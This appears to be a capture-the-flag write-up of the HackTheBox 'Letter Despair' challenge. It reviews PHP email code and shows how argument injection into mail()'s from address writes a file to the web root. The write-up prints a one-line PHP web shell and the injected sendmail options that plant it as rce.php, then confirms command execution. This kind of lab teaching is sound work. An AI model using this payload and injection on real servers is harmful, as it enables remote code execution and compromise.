Letter Despair is a simple Web challenge provided by HackTheBox as part of their Business CTF: Dirty Money. This challenge is very simple, a single .PHP file was provided which indicates the vulnerability is likely to be discovered by some form of code review.
A screenshot of the application can be seen below:
My first step of action is to identify how user-submitted values will flow through the provided source code. The source code is small and allowed me to easily identify the main function which all the action occurs:
function send_email($email) {
$mailer = new email();
$mailer->add_message(replace_vars($_POST['email_body'], $email));
$mailer->build_message();
$from_name = $_POST['from_name'];
$from_email = $_POST['from_email'];
$subject = $_POST['subject'];
$to_name = explode("@", $email)[0];
if ($_FILES['attachment']['tmp_name'])
{
$mailer->add_attachment(
$mailer->get_file($_FILES['attachment']['tmp_name'])
);
}
return $mailer->send($to_name, $email, $from_name, $from_email, $subject);
}
This function takes the user-submitted form values and passes it into the send function (functions such as add_message have been omitted as it doesn’t really do anything to the data).
The code of the send function can be seen below:
public function send($to_name, $to_addr, $from_name, $from_addr, $subject = '', $headers = [])
{
foreach (["\n", "\r"] as $line_ending)
{
foreach ([$to_name, $to_addr, $subject, $from_name, $from_addr] as $header_value)
{
if (false !== strstr($header_value, $line_ending))
{
return false;
}
}
}
$to = $this->format_address($to_addr, $to_name);
$from = $this->format_address($from_addr, $from_name);
if (defined('EMAIL_FROM'))
{
$sender_headers = ['From: ' . EMAIL_FROM, 'Reply-to: ' . $from];
$from_addr = EMAIL_FROM;
}
else
{
$sender_headers = ['From: ' . $from];
}
$headers = array_merge($this->headers, $sender_headers, $this->normalize_headers($headers));
return mail($to, $subject, $this->output, implode($this->lf, $headers) , "-f$from_addr");
}
Reading through the source-code, I didn’t find any points of interest until the very last call:
return mail($to, $subject, $this->output, implode($this->lf, $headers) , "-f$from_addr");
The mail function is dangerous and has been documented in-detail in this article from Sonarsource: Why mail() is dangerous in PHP and another article here detailing how we can leverage this into an RCE. We can see that the from_addr function (as well as the other variables) are not sanitized and is therefore vulnerable.
To summarise the steps required to exploit:
- Insert PHP code into any field that isn’t the from_addr variable.
- Re-direct this into a file by escaping the from_addr variable.
This is done very simply by injecting a simple PHP command shell into the subject:
<?php system($_GET["cmd"]); ?>
And we escape the from_addr using:
-OQueueDirectory=/tmp -X/var/www/html/rce.php
We then confirm the vulnerability by browsing to the file that was created:
And confirm code-execution by sending a whoami to the cmd parameter.
With the vulnerability confirmed, we now move the exploit the actual application and get the flag!